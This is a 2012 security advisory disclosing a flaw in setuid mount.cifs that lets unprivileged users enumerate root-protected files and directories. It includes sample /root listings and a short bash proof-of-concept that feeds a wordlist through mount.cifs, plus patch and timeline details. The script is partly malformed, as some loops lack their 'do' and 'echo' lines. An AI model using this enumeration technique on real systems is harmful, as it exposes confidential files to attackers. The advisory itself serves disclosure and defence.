linux privileged and arbitrary chdir() (fixed at 5.4 cifs release)

########## Blueliv Advisory 2012-004 ##########

- Discovered by: Jesus Olmos Gonzalez at Blueliv

- Risk: 5/5

- Impact: 1/5

###############################################

1. VULNERABILITY

-------------------------

linux privileged and arbitrary chdir(),

this leads to an arbitary file identification as root.

2. BACKGROUND

mount.cifs (GNU Software) is part of linux base system, and is setuided on

most of the distributions (archlinux, debian, ubuntu, ...)

This software mounts cifs partition to directories authorized by fstab.

3. DESCRIPTION

Althow there is not authorized cifs mounts, is possible by the second

parameter

to control a privileged chdir() syscall and infer the return value throught

the responses.

This implies, a little security breach on linux permissions. A non root user

can enumerate files and directories as root.

This can help to exploit another vulnerabilities, enumerate /root/

contents,

descriptors used by any process, user homes, etc ...

one of the attack vectors is /root/ directory scan:

[sha0@spinlock advs]$ ./root_eye.sh wordlist /root/

--- directories ---

.pulse1

.bash_history

.alsaplayer

.dbus

.mozilla

.VirtualBox

.vim

.links

.config

.cpan

.gnome2

--- files ---

.pulse-cookie

.keystore

.bash_profile

dead.letter

.mysql_history

.Xauthority

.vimrc

.viminfo

secret

Also let to enumerate sub-sub directories in order to dump readable files.

4. PROOF OF CONCEPT

#!/bin/bash

# root enumerator 0day by jesus.olmos (at) blueliv (dot) com [email concealed] @sha0coder

# discover root protected files & directories, user homes, process

descriptors, ...

path=$2

wordlist=$1

for i in `cat $wordlist`

do

echo -n "$i:"

/sbin/mount.cifs //127.0.0.1/a $path/$i

done 2>log.$$ 1>&2

echo --- directories ---

for i in `grep 'denied' log.$$ | cut -d ':' -f 1`

echo $i

done

echo --- files ---

for i in `grep -i 'not a directory' log.$$ | cut -d ':' -f 1`

rm log.$$

5. BUSINESS IMPACT

May involve issues of confidentiality.

6. SYSTEMS AFFECTED

all versions prior to 5.4

7. SOLUTION

Easy solution: Don't setuid mount.cifs

The Patch: https://attachments.samba.org/attachment.cgi?id=7416

Or upgrade to 5.4 release.

8. REFERENCES

http://bugzilla.samba.org/show_bug.cgi?id=8821

http://gnu.org

9. CREDITS

Jesus Olmos Gonzalez jolmos(at)blueliv(dot)com @sha0coder

Blueliv blueliv(dot)com

Rootedcon Arena2012 rootedcon(dot)es

10. DISCOLSURE TIMELINE

February 20, 2012: Vulnerability discovered

March 07, 2012: Reported to the vendor, through bugzilla.

March 13, 2012: No vendor respon.

March 21, 2012: Reported again to vendor.

March 27, 2012: Vendor response, studying the best way to fix it,

but they recommend not to setuid by default.

March 31, 2012: The patch was aplied to 5.4 release

11. LEGAL NOTICES

The information contained within this advisory is supplied "as-is"

with no warranties or guarantees of fitness of use or otherwise.

Blueliv accepts no responsibility for any damage

caused by the use or misuse of this information.

-- 

Jesús Olmos

jesus.olmos (at) blueliv (dot) com [email concealed]

OPST, CEH, ECSP certified

Parc Innovació La Salle

C/Sant Joan de la Salle 42, Planta 3

08022 Barcelona

Telf. + 34 902908712

Fax. + 34 933960900